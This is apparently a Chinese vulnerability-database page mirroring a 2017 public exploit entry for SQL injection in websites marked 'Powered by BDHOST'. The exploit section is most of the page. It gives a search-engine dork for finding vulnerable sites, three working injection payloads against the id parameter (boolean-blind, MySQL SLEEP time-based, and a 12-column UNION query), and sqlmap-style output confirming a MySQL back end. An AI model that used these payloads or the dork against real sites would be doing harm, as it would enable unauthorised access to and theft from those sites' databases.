Powered by BDHOST SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1036959 漏洞类型
发布时间 2017-07-27 更新时间 2017-07-27
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2017070179
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
-- Fecha: 27/07/2017
-- Dork: intext: Powered by BDHOST inurl: ?id=
-- Prueba: Wi10
-- Creditos: Informacion - Anonymous
-- PoFF: Parameter: id (GET)
    ==== Type: boolean-based blind
    ====== Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=6' AND 5127=5127 AND 'awdJ'='awdJ

    === Type: AND/OR time-based blind
    ===== Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=6' AND SLEEP(5) AND 'hBFB'='hBFB

    ===== Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: id=-6544' UNION ALL SELECT NULL,NULL,CONCAT(0x71626a6b71,0x6e6c4e54656643427651657a47524a4c477267714f6969416a616f547657474c596c45526443774e,0x7176787871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- WFkx
---
====== [03:06:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12